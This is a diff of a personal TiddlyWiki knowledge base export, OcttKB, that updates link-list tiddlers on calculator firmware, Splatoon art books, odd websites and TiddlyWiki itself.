{"title":"NumWorks","created":"20230202110151955","creator":"Octt","modified":"20231223223656445","modifier":"Octt","tags":"$:/i18n:en Calculator","text":"* https://www.numworks.com/\n* https://github.com/numworks\n\n\u003C\u003C^wikipediaframe NumWorks en>>\n\n* [[Numworks Hacks Guide|https://guide.getomega.dev/]]\n* [[Omega|https://getomega.dev/]] Custom Firmware, abandoned --- \u003C\u003C[ \"[[Git|https://github.com/Omega-Numworks]]\">>\n** ... including [[Phi|https://phi.getomega.dev/]], //jailbreak for the Numworks calculator with Epsilon 16 and higher. It brings back custom firmwares.//\n** [[Upsilon|https://getupsilon.web.app/]] --- CFW forked from Omega and mantained --- \u003C\u003C[ \"[[Git|https://github.com/UpsilonNumworks]]\">>\n\n* [[Nwagyu|https://www.nwagyu.com/]] --- //Collection of free nwa apps that you can install on your NumWorks calculator//\n* [[Templates to Plot Functions, Parametric Equations, and Sequences|https://edspi31415.blogspot.com/2021/01/numworks-templates-to-plot-functions.html]]\n* [[Version 16 bรชta : verrouillage NumWorks anti Omega / KhiCAS|https://tiplanet.org/forum/viewtopic.php?t=24968&p=261770&lang=en#p261770]]\n"},
{"title":"Octt","caption":"Me","created":"20230206204149478","creator":"Octt","icon":"๐ผ","modified":"20231105222046315","modifier":"Octt","tags":"$:/ToC","text":"''Octt'', aka ''OctoSpacc'', or ''Andrea'', is me, the living entity who primarily maintains the [[OcttKB]]. I am powered by a natural neural network running on a meat machine, in case that wasn't obvious, but I plan of making a copy (or multiple?) of myself that will live in silicon machines.\n\nSome info about me should go here, I suppose, so here are some points:\n\n* I can program enough things in [[vanilla JavaScript|JavaScript]], [[Python]], `sh`, [[C|C Language]] and some [[Java]], and [[TiddlyWiki]] (wow). I will also say: I can program with HTML and CSS, just to make you cry with \"they're not programming languages!!1!\".\n** I've had to use C++, well I hate it. Never had to use Rust, and I'm happy because that syntax //scares me//.\n* I can solve some puzzle games (very little in the grand scheme of all puzzles of this world, but still fun) and play some card games, they fun sometimes.\n* Here is my [[#ShowYourStripes|https://showyourstripes.info/l/europe/italy/all/]] if you're curious --- aka the climate change situation also where I live.\n\nAfter this, there's not a lot more info about me here for now. Tough luck. Maybe go read the about page on my [[sitoctt]] in the meantime, there's something more in there: [[https://sitoctt.octt.eu.org/Chi-Sono.html]].\n\nHere are some things I like or do or whatever, that I'm putting here honestly just to get some tiddlers connected together, because I like graphs like the ''Focus'' one on the sidebar.\n\n* Graphs.. I just said I like them. Some others are at [[OcttKB/Data]].\n* [[Gaming]], but I have special tastes probably.\n** This not only includes videogames, but also puzzle games.\n** [I should write my best picks here...]\n* [[Writing]], like on my [[sitoctt]] or here.\n* Software [[Development]], mostly frontend ([[CSS]] is crappy but epic).\n** My [[Web]] places wouldn't be as unique if this wasn't the case and I were to only write content.\n"},
-{"title":"OcttKB","created":"20220920160811383","creator":"Octt","icon":"๐","modified":"20231105104126959","modifier":"Octt","tags":"$:/ToC $:/i18n:en Octt","text":"!! Welcome to my Personal {[[Personal Knowledge Base]] \\ Public Notebook}!\n\nGeneral information about the site will soon be available. Licensing information is available [[here|OcttKB/Licensing]]. This is \"OcttKB\" because I'm [[Octt]]. With this thing, I'm [[learning and thinking in public|https://www.swyx.io/learn-in-public]].\n\n\u003C!--\nApart from the usual [[TiddlyWiki]] ones, there are many methods of navigation on this wiki. For one, try clicking on the big name line on top of of this [[OcttKB]] tiddler.\n-->\n\n!!! ''Tips''\n* Click on tag pills, often as present on top of a tiddler frame, just below the title, to navigate to all tiddlers that are tagged with that tag.\n** Unlike with folders, a tiddler can have many tags at the same time, allowing for non-linear navigation.\n* Click on different parts of the title of an open tiddler to navigate between children, both in a folder-like structure (other tiddlers present as path children of the current one, thanks to slash (`/`) separation), and with the tag structure (tiddlers tagged with the name of the current one).\n\n!!! ''Table of Contents''\n{{$:/OcttKB/ToC}}\n{{$:/OcttKB/WikiThings}}\n\n!!! ''External Links''\n\n; ''My Hub'', Global Home Page: [[Hub.Octt.EU.org|https://hub.octt.eu.org]]\n: Links to my blog, webapps, and social profiles\n\n* ''KB Git Repo'' (deploy scripts, + limited commit history): [[GitLab.com/octtspacc/OcttKB|https://gitlab.com/octtspacc/OcttKB]]\n** Mirrors (''don't send issues/PRs'' there): [[GitHub.com|https://github.com/octospacc/OcttKB]] | [[Gitea.it|https://gitea.it/octospacc/OcttKB]]\n\n* ''Public Statistics'': [[https://octtkb.goatcounter.com/]]\n\n//\u003Csmall>Note: The KB is also served in plain, unencrypted HTTP at the `http` 5th-level subdomain: `http://http.kb.octt.eu.org`.\u003C/small>//\n\n!!! ''Tags''\n{{$:/OcttKB/TagCloud}}\n\u003C!--\n\u003Cspan style=\"Line-Height:2em;\">\n\u003C$list filter=\"[tags[]!is[system]]\">\n\u003Cspan style=\"Padding:2px;\">\n\u003C$macrocall $name=\"tag\" tag={{!!caption}}/>\n\u003C/span>\n\u003C/$list>\n\u003C/span>\n-->\n\u003C!--\n\u003C\u003Clist-links filter:\"[!is[system]tags[]]\">>\n-->\n\n\u003C!--\n\u003Cbr>\n-->\n\u003Cdetails class=\"tw-details\">\n \u003Csummary>\n \u003Ch3 style=\"display: inline; font-style: bold;\">\n All Tiddlers\n \u003C/h3>\n \u003C/summary>\n {{$:/OcttKB/AllTiddlers}}\n\u003C/details>\n\u003C!--\n\u003Cbr>\n-->\n\n\u003Chr>\u003Cbr>\n\n(Partial) [[Copyright ยฉ 2022, OctoSpacc|OcttKB/Licensing]] || OcttKB is powered by [[TiddlyWiki|TiddlyWiki]].\n\n\u003Csmall>//As with any TiddlyWiki, you can make your own changes right here and save them locally for yourself.//\u003C/small>"},
+{"title":"OcttKB","created":"20220920160811383","creator":"Octt","icon":"๐","modified":"20240128002941990","modifier":"Octt","page-cover":"https://source.unsplash.com/random?inkling,octopus","tags":"$:/ToC $:/i18n:en Octt","text":"!! Welcome to my Personal {[[Personal Knowledge Base]] \\ Public Notebook}!\n\nGeneral information about the site will soon be available. Licensing information is available [[here|OcttKB/Licensing]]. This is \"OcttKB\" because I'm [[Octt]]. With this thing, I'm [[learning and thinking in public|https://www.swyx.io/learn-in-public]].\n\n\u003C!--\nApart from the usual [[TiddlyWiki]] ones, there are many methods of navigation on this wiki. For one, try clicking on the big name line on top of of this [[OcttKB]] tiddler.\n-->\n\n!!! ''Tips''\n* Click on tag pills, often as present on top of a tiddler frame, just below the title, to navigate to all tiddlers that are tagged with that tag.\n** Unlike with folders, a tiddler can have many tags at the same time, allowing for non-linear navigation.\n* Click on different parts of the title of an open tiddler to navigate between children, both in a folder-like structure (other tiddlers present as path children of the current one, thanks to slash (`/`) separation), and with the tag structure (tiddlers tagged with the name of the current one).\n\n!!! ''Table of Contents''\n{{$:/OcttKB/ToC}}\n{{$:/OcttKB/WikiThings}}\n\n!!! ''External Links''\n\n; ''My Hub'', Global Home Page: [[Hub.Octt.EU.org|https://hub.octt.eu.org]]\n: Links to my blogs, webapps, and social profiles or places\n\n* ''KB Git Repo'' (deploy scripts, + limited commit history): [[GitLab.com/octtspacc/OcttKB|https://gitlab.com/octtspacc/OcttKB]]\n** Mirrors (''don't send issues/PRs'' there): [[GitHub.com|https://github.com/octospacc/OcttKB]] | [[Gitea.it|https://gitea.it/octospacc/OcttKB]]\n\n* ''Public Statistics'': [[https://octtkb.goatcounter.com/]]\n\n//\u003Csmall>Note: The KB is also served in plain, unencrypted HTTP at the `http` 5th-level subdomain: `http://http.kb.octt.eu.org`.\u003C/small>//\n\n!!! ''Other Wiki Things''\n\nI have made the following into links as they were making this tiddler very laggy, to the point of causing hanging issues on my mobile. Hold thight when opening them (if you're using the JavaScript-rich app, otherwise you're golden).\n\n* [[All Tiddlers|$:/OcttKB/AllTiddlers]]\n* [[Tag Cloud|$:/OcttKB/TagCloud]]\n\n\u003Chr>\n\n(Partial) [[Copyright ยฉ 2022, OctoSpacc|OcttKB/Licensing]] || OcttKB is powered by [[TiddlyWiki|TiddlyWiki]].\n\n\u003Csmall>//As with any TiddlyWiki, you can make your own changes right here and save them locally for yourself.//\u003C/small>"},
{"title":"OcttKB/Data","created":"20230109220804304","creator":"Octt","modified":"20230208171053772","modifier":"Octt","tags":"OcttKB $:/i18n:en","text":"\u003C!--\n!! Clouds!\n\nAre these useless? ''Yes!'' But they are so pretty...\n\n{{$:/OcttKB/TagCloud}}\n--->\n\n\u003Cdiv style=\"height: 200px; max-width: 800px; margin: auto;\">\n\u003C$echarts $tiddler=\"$:/plugins/Gk0Wk/echarts/addons/GitHubHeatMap.js\" $width=\"100%\" $height=\"100%\" />\n\u003C/div>\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\n\u003Cdiv class=\"NoSelect PIP-Select\">\n \u003C!--\n \u003Cspan>PIP (WIP): \u003C/span>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"โ๏ธ\" />\n \u003Clabel>โ๏ธ\u003C/label>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"โ๏ธ\" />\n \u003Clabel>โ๏ธ\u003C/label>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"โ\" checked=\"true\" />\n \u003Clabel>โ\u003C/label>\n -->\n \u003C!-- \u003Cdiv> -->\n {{$:/OcttKB/TheBrain/Levels.cfg}}\n {{$:/OcttKB/TheBrain/Tiddler-Manual.wgt}}\n \u003C!-- \u003C/div> -->\n\u003C/div>\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\n\u003C$echarts $tiddler=\"$:/plugins/Gk0Wk/echarts/addons/TagCloud.js\" />\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\nI still have to put a lot of stuff here... see [[OcttKB/WIP]]"},
{"title":"OcttKB/Hacks","created":"20220920160642961","creator":"Octt","modified":"20230219103824938","modifier":"Octt","tags":"TiddlyWiki OcttKB $:/i18n:en","text":"; Macros\n: \u003C\u003Cdirtreelist $:/Macros>>\n\u003C!-- > \u003C\u003CTDirList $:/Macros 4>> -->\n\n; Theming\n: \u003C\u003Cdirtreelist $:/Styles>>\n: [[$:/palettes/Octt Light]]\n\u003C!-- > \u003C\u003CTDirList $:/Styles 4>> -->\n\n!!! Modified system and plugin files\n\n; $:/StaticBanner\n: (Shown as banner in statically exported pages)\n\n; $:/core/templates/static.content\n: (Shown as static HTML content in the standard TiddlyWiki file)\n\n; $:/core/templates/exporters/StaticRiver\n: (Added meta viewport for correct viewing on mobile) [[[Pull Request|https://github.com/Jermolene/TiddlyWiki5/pull/6953]]]\n\n; $:/plugins/kookma/refnotes/ui/bibtexlibrary\n: Remove this applet from the sidebar since I don't use it\n\n\u003C!--\n* ~~$:/themes/tiddlywiki/vanilla (Changed paddings)~~\n-->"},
{"title":"OcttKB/Index","caption":"Index","created":"20230109112202970","creator":"Octt","list-before":"$:/core/ui/SideBar/Open","modified":"20231105104112366","modifier":"Octt","tags":"$:/tags/SideBar","text":"{{$:/OcttKB/StartButton}}\n\n{{$:/OcttKB/ToC}}\n\n{{$:/OcttKB/WikiThings}}\n\n{{$:/OcttKB/LicensingButtons}}\n\n\u003Cdiv style=\"margin-top: 16px\">\n''Last edit at'' {{$:/OcttKB/LastEditTime}} \u003C\u003C#[ Activity \"https://gitlab.com/octtspacc/OcttKB/-/commits\">>\n\u003C/div>"},
@@ -1419,13 +1423,13 @@
{"title":"SpaccCraft","created":"20230225194634903","creator":"Octt","modified":"20231105105612255","modifier":"Octt","tags":"[[Spacc Inc.]] Minecraft","text":"The SpaccCraft Minecraft server is available for gaming at `mc.spacc.eu.org`. The website is \u003C\u003ChttpsL spacccraft.altervista.org>>.\n\n\u003C\u003CiFrame100 \"https://wikispacc.miraheze.org/wiki/SpaccCraft\">>"},
{"title":"Speedrun","created":"20231223212409681","creator":"Octt","modified":"20231223212742123","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Speedrun\">>\n\n\u003C\u003C^WikipediaFrame \"Tool-assisted speedrun\">>\n\n* [[TASVideos|https://tasvideos.org/]] --- //Tool-assisted game movies, When human skills are just not enough//\n** [[TAS Emulators|https://github.com/TASEmulators]] --- //Rerecording emulators and tools used for making Tool Assisted Speedruns//\n"},
{"title":"SPI","created":"20230205142954820","creator":"Octt","modified":"20230205143012022","modifier":"Octt","tags":"TODO"},
-{"title":"Splatoon","created":"20230112104013755","creator":"Octt","modified":"20240107160445013","modifier":"Octt","tags":"Platformer TPS $:/i18n:en Game Nintendo Proprietary","text":"\u003C\u003C^wikipediaframe Splatoon en>>\n\n* [[The Art Of Splatoon 2 (2019)|https://archive.org/details/the-art-of-splatoon-2]]\n* [[Inkopolis Walker (Haikara Walker, Octo Expansion artbook)|https://imgur.com/a/LOLazfi]]\n** [[Haikara Walker/ 3rd Splatoon art book (rough) translation thread!|https://threadreaderapp.com/thread/1087606696015364096]]\n** [[Haikara Walker Translation Masterdoc|https://docs.google.com/document/d/10E9v0-oTyNyBYD81r-pdgBigeDdwRzj6JvMJAOvh958/edit]]\n\n* \u003C\u003CYoutubeL Js0jyvvJAgc \"(NES style) 8-Bit Splatoon!\">> (concept video)\n* \u003C\u003CYoutubeL zLBxGtPzvjw \"Demaking Splatoon - Splattack! (N64 Version) Music\">>\n"},
+{"title":"Splatoon","created":"20230112104013755","creator":"Octt","modified":"20240121192703603","modifier":"Octt","tags":"Platformer TPS $:/i18n:en Game Nintendo Proprietary","text":"\u003C\u003C^wikipediaframe Splatoon en>>\n\n* [[The Art Of Splatoon|https://archive.org/details/theartofsplatoon_201911/]]\n** [[The Art Of Splatoon 2 (2019)|https://archive.org/details/art-of-splatoon-2/]] [[alt. version with less pages?|https://archive.org/details/the-art-of-splatoon-2]]\n*** [[Inkopolis Walker (Haikara Walker, Octo Expansion artbook)|https://imgur.com/a/LOLazfi]]\n**** [[Haikara Walker/ 3rd Splatoon art book (rough) translation thread!|https://threadreaderapp.com/thread/1087606696015364096]]\n**** [[Haikara Walker Translation Masterdoc|https://docs.google.com/document/d/10E9v0-oTyNyBYD81r-pdgBigeDdwRzj6JvMJAOvh958/edit]]\n\n* \u003C\u003CYoutubeL Js0jyvvJAgc \"(NES style) 8-Bit Splatoon!\">> (concept video)\n* \u003C\u003CYoutubeL zLBxGtPzvjw \"Demaking Splatoon - Splattack! (N64 Version) Music\">>\n"},
{"title":"SSH","created":"20230205142231777","creator":"Octt","modified":"20230205142247383","modifier":"Octt","tags":"TODO Protocol"},
{"title":"Stable Diffusion","created":"20230404134923351","creator":"Octt","modified":"20231222225618518","modifier":"Octt","tags":"[[Artificial intelligence]] Art","text":"!!! ''Resources''\n\n* [[Stable Diffusion Art|https://stable-diffusion-art.com/]]\n\n---\n\n* [[How to run Stable Diffusion on Google Colab (AUTOMATIC1111)|https://stable-diffusion-art.com/automatic1111-colab/]]\n** [[Quick Start Guide|https://sleet-bugle-0cd.notion.site/Stable-Diffusion-Quick-Start-Guide-a49bb03dbce04462a09d57bd2198f088]]\n** [[Colab Notebook|https://colab.research.google.com/github/sagiodev/stablediffusion_webui/blob/master/StableDiffusionUI_ngrok_sagiodev.ipynb]]\n"},
{"title":"Standard Notes","created":"20230113230249689","creator":"Octt","modified":"20230221221847294","modifier":"Octt","tags":"App $:/i18n:en","text":"An encrypted open-source notes app with a very clean UX.\n\n* Website: [[standardnotes.com|https://standardnotes.com]]\n* Git Repos: [[github.com/standardnotes|https://github.com/standardnotes]]\n\n!!! ''Listed''\n\n''Listed'' is a blogging platform developed by the Standard Notes team, that strongly integrates into the app.\n\n* Website: [[listed.to|https://listed.to]]\n\n!!! ''Other''\n\n; [[Using Standard Notes as a Personal Knowledge Base|https://technosoof.wordpress.com/2020/04/10/using-standard-notes-as-a-personal-knowledge-base/]] - \u003C\u003Cmywarc 466>>\n: Need of coping with lack of text-search scoped to only the current note. \u003Cdd>\nBrowser's integrated search is a decent solution.\n\u003C/dd>\n: No actual hyperlinks will force you to manually craft a compact GUID system. \u003Cdd>\nGUIDs can't be changed later, so using dates + single letters for types is a needed thing.\n\u003C/dd> \u003Cdd>\nSeparating drafts from normal notes, WIP, etc... is optimal too.\n\u003C/dd>\n\n; [[Why Encrypted - Standard Notes|https://standardnotes.com/why-encrypted]] - \u003C\u003Cmywarc 409>>\n: Today's popular tech is far from private by default.\n: The lack of actual privacy often makes us self-censor, making us lose ourselves in our writing.\n: When you get privacy, and finally //write like it's nobody's business//, you will have peace of mind.\n"},
{"title":"Starbucks","created":"20230305195429422","creator":"Octt","modified":"20230305195825406","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Starbucks>>\n\n!!! ''News''\n\n; March 2023\n: [[Starbucks illegally fired US workers over union, judge rules|https://www.bbc.co.uk/news/business-64819774]].\n"},
{"title":"Static site generator","created":"20230905232949767","creator":"Octt","modified":"20231222001704153","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Static site generator\">>\n\n* \u003C\u003Clinkdescgit Docusaurus \"https://docusaurus.io\" \"Easy to maintain open source documentation websites.\" \"https://github.com/facebook/docusaurus\">>\n* \u003C\u003Clinkdescgit Hugo \"https://gohugo.io\" \"The worldโs fastest framework for building websites\" \"https://github.com/gohugoio/hugo\">>\n\n* [[Hexo|https://hexo.io/]] --- //A fast, simple & powerful blog framework//\n** //[[NexT|https://theme-next.js.org/]] is a high quality elegant theme for Hexo. It is crafted from scratch, with love.// --- \u003C\u003C[# Git \"https://github.com/next-theme\">>\n\n* [[Jekyll|https://jekyllrb.com]] (+ docs) --- //๐ Jekyll is a blog-aware static site generator in Ruby// --- \u003C\u003C#[ Git\"https://github.com/jekyll\">>\n** [[Jekyll Themes|http://jekyllthemes.org/]] --- //A directory of the best-looking themes for Jekyll blogs// --- \u003C\u003C#[ Git\"https://github.com/mattvh/jekyllthemes\">>\n*** \u003C\u003Clinkdescgit \"So Simple [Theme]\" \"https://mmistakes.github.io/so-simple-theme\" \" A simple Jekyll theme for words and pictures.\" \"https://github.com/mmistakes/so-simple-theme\">>\n*** \u003C\u003Clinkdescgit \"Jekflix Template\" \"https://jekflix.rossener.com/\" \"A Jekyll theme inspired by Netflix. ๐ฌ\" \"https://github.com/thiagorossener/jekflix-template\">>\n*** [[TeXt Theme|https://kitian616.github.io/jekyll-TeXt-theme/]] --- //๐ ๐ณ A super customizable Jekyll theme for personal site, team site, blog, project, documentation, etc. // --- \u003C\u003C[# Git\"https://github.com/kitian616/jekyll-TeXt-theme\">>\n** [[Working with upcoming posts in Jekyll|https://www.fizerkhan.com/blog/posts/working-with-upcoming-posts-in-jekyll]]\n\n* [[Pelican|https://getpelican.com/]]\n** [[Eevee|https://kura.gg/eevee/]] --- //A Material Design theme for Pelican//\n\n* \u003C\u003Clinkdescgit Retype \"https://retype.com\" \"ultra-high-performance โจ static website generator that builds a website based on simple Markdown text files\" \"https://github.com/retypeapp\">> --- seems catered towards docs/notes sites\n"},
-{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240119165356761","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ โ uiโโณโฒ โบ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - ็ ้งๅๅ.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], ... --- SEO spamming websites with fake content... sometimes they seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Questions LLC|https://questions.llc/]] --- //Use AI to answer\nyour questions. Our AI bots will answer your questions in seconds.// --- it's a Q/A website where supposedly bots answer the questions, and it's full of spam and useless shit, what's the point of it even? I found it coming from the footer of these oddly-specific websites, which only makes everything stranger:\n** [[allowfullscreen|https://www.allowfullscreen.com/]] --- //an HTML attribute for the iframe tag// --- a website with some basic information about the attribute, but with some strange details, and some actually decent examples\n** [[querySelectorAll()|https://www.queryselectorall.com/]] --- //a website dedicated to the best JavaScript function in the world!// --- some generic ass information about that JS function, with a home page full of cringey AI-generated SEO bullshit telling of the subject as if they were trying to sell the thing to a child... also includes information on partially unrelated things that maybe could have something to do with querySelectorAll but really not\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"},
+{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240128004926112","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ โ uiโโณโฒ โบ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - ็ ้งๅๅ.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], \u003C\u003ChttpsL it.knowledgr.com>> ... --- SEO spamming websites with fake content... which sometimes seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Questions LLC|https://questions.llc/]] --- //Use AI to answer\nyour questions. Our AI bots will answer your questions in seconds.// --- it's a Q/A website where supposedly bots answer the questions, and it's full of spam and useless shit, what's the point of it even? I found it coming from the footer of these oddly-specific websites, which only makes everything stranger:\n** [[allowfullscreen|https://www.allowfullscreen.com/]] --- //an HTML attribute for the iframe tag// --- a website with some basic information about the attribute, but with some strange details, and some actually decent examples\n** [[querySelectorAll()|https://www.queryselectorall.com/]] --- //a website dedicated to the best JavaScript function in the world!// --- some generic ass information about that JS function, with a home page full of cringey AI-generated SEO bullshit telling of the subject as if they were trying to sell the thing to a child... also includes information on partially unrelated things that maybe could have something to do with querySelectorAll but really not\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"},
{"title":"Super Mario 64","created":"20230202232653119","creator":"Octt","modified":"20240118233234375","modifier":"Octt","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^WikipediaFrame \"Super Mario 64\">>\n\n* \u003C\u003CYoutubeL _5IDmXNS14I \"UNDETECTABLE Cheats Jeopardize Super Mario 64 Speedrunning!?\">>\n\n!!! Mods\n\n* [[Shotgun Mario 64|https://romhacking.com/hack/shotgun-mario-64]] --- [\u003C\u003CYoutubeL YHdUHSv2lPc>>]\n"},
{"title":"Super Mario Bros.","created":"20230209153716905","creator":"Octt","modified":"20240119011227992","modifier":"Octt","tags":"Game","text":"\u003C\u003C^wikipediaframe Super_Mario_Bros. en>>\n\n* [[SMBDIS.ASM - A Comprehensive Super Mario Bros. Disassembly|https://gist.github.com/1wErt3r/4048722]]\n\n* [[Super Mario Bros. 3Mix|https://www.sonicepoch.com/sm3mix/]] --- //The spectacular, full-scale hack of SMB3! Implementing concepts from many games that came well after the original title.// --- \u003C\u003C[# Thread\"https://www.romhacking.net/forum/index.php?topic=14049.0\">> \u003C\u003C[# Release\"https://www.romhacking.net/hacks/2068/\">> \u003C\u003C[# Git\"https://github.com/captainsouthbird/3Mix\">> \u003C\u003C[# ROM\"https://archive.org/details/super-mario-bros.-3-mix\">>\n"},
{"title":"Super Nintendo Entertainment System","created":"20231212222847342","creator":"Octt","modified":"20240119124309074","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"SNES\">>\n\n* [[SNES Central|https://snescentral.com/index.php]]\n\n* [[DiztinGUIsh (\"Diz\")|https://github.com/IsoFrieze/DiztinGUIsh]] --- //A Super NES ROM Disassembler and tracelog capture/analysis tool with a focus on collaborative workflow UX. Exports .asm files ready to be compiled back into the original binary. Written in Winforms/C#.//\n\n!! Star Fox\n\n\u003C\u003C^wikipediaframe \"Star Fox\">>\n\n* [[Super Star Fox Weekend / Starwing Competition|https://snescentral.com/article.php?id=0942]]\n"},
@@ -1455,7 +1459,7 @@
{"title":"The World Factbook","created":"20230208214932674","creator":"Octt","modified":"20230208215147789","modifier":"Octt","tags":"USA Gov. Book Site Web","text":"\u003C\u003CMediaWiki The_World_Factbook en 5>>"},
{"title":"Thioacetone","created":"20230302113309813","creator":"Octt","modified":"20230302114235452","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Thioacetone en>>\n\n* [[Things I Won't Work With: Thioacetone|https://www.science.org/content/blog-post/things-i-won-t-work-thioacetone]]\n* \u003C\u003CYoutubeL LmAG8-V_WQY \"Making the stinkiest chemical known to man [NileRed]\">>\n"},
{"title":"TIC-80","created":"20230215213023824","creator":"Octt","modified":"20231122002929792","modifier":"Octt","tags":"Libre Fantasy Console Gaming","text":"* https://tic80.com/\n* https://github.com/nesbox/TIC-80\n\n\u003C\u003CWikipediaFrame TIC-80 en>>\n\n* [[Making fifty TIC-80 carts in a weekend|https://blinry.org/50-tic80-carts/]] \n* [[TIC80 - A Better Pico8?|https://8bitnews.io/article/tic80-a-better-pico8]]\n\n* [[TIC-80 Manual & Cheat Sheet|https://skyelynwaddell.github.io/tic80-manual-cheatsheet/]]\n"},
-{"title":"TiddlyWiki","created":"20220924193842295","creator":"Octt","icon":"๐","modified":"20231223140546807","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?computer-cat","tags":"TiddlyWiki Wiki Zettelkasten Libre","text":"\\define TwLL(Tid) [[$Tid$|https://tiddlywiki.com/#$Tid$]]\n\n\\define TwL(List)\n|\n\u003C$list filter=\"$List$\">\n \u003C$macrocall $name=\"TwLL\" Tid=\u003C\u003CcurrentTiddler>> />\n |\n\u003C/$list>\n\\end\n\n[[TiddlyWiki|https://tiddlywiki.com]] is the software upon which this website is built.\n\nIt is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.\n\n\u003C\u003C^wikipediaframe TiddlyWiki en>>\n\n; What I like\n: All your content and app runtime can stay inside a single HTML file; it will probably work fine in browsers in the decades to come.\n: The base software runs both in the web browser (ES5 or higher?) and [[Node.js]]; the latter makes it possibile to export tiddlers to a file system programmatically, generate static sites, etc...\n: Feature-rich and powerful out of the box, with (up to a certain point) high extensibility.\n: Big community, meaning you can often get help with problems, and many third-party plugins are available.\n: The default configuration works fine on mobile devices, unlike what happens with some plugins.\n\n; What I don't like\n: The Widgets/Filters/Macros systems is based on proprietary paradigms; they are made to allow people without programming experience to do great things, but are cumbersome and hard to learn if you already have common programming experience.\n: [[JavaScript]] extensions are cumbersome, requiring a page reload to work after an edit\n: It's not easy, or sometimes it's not possibile, to extend TiddlyWiki with just pure JavaScript, and trying to do so always requires ugly hacks.\n: Widgets and Filters are essentially an interpreted language working on top of an interpreted language (JS); Since even the app core makes heavy use of them, it suffers from microlags even on modern devices, and can be's almost unusable on very old ones.\n: No built-in tiddler compression and decompression means the HTML file is big by default (~2.3 MB as of v5.2.3) and can get worse with many plugins, causing slow loading and saving.\n\n!! ''Useful Resources''\n\n* Official Git Repos: [[TiddlyWiki5 Source|https://github.com/Jermolene/TiddlyWiki5]], [[Others|https://github.com/TiddlyWiki]]\n* Official Docs: [[Standard|https://tiddlywiki.com]], [[Dev|https://tiddlywiki.com/dev]]\n* [[Links Aggregator|https://links.tiddlywiki.org]]\n* [[Grok TiddlyWiki|https://groktiddlywiki.com]] - //Build a deep, lasting understanding of TiddlyWiki//\n* [[TiddlyWiki Toolmap|https://dynalist.io/d/zUP-nIWu2FFoXH-oM7L7d9DM]]\n\n!!! Notes about 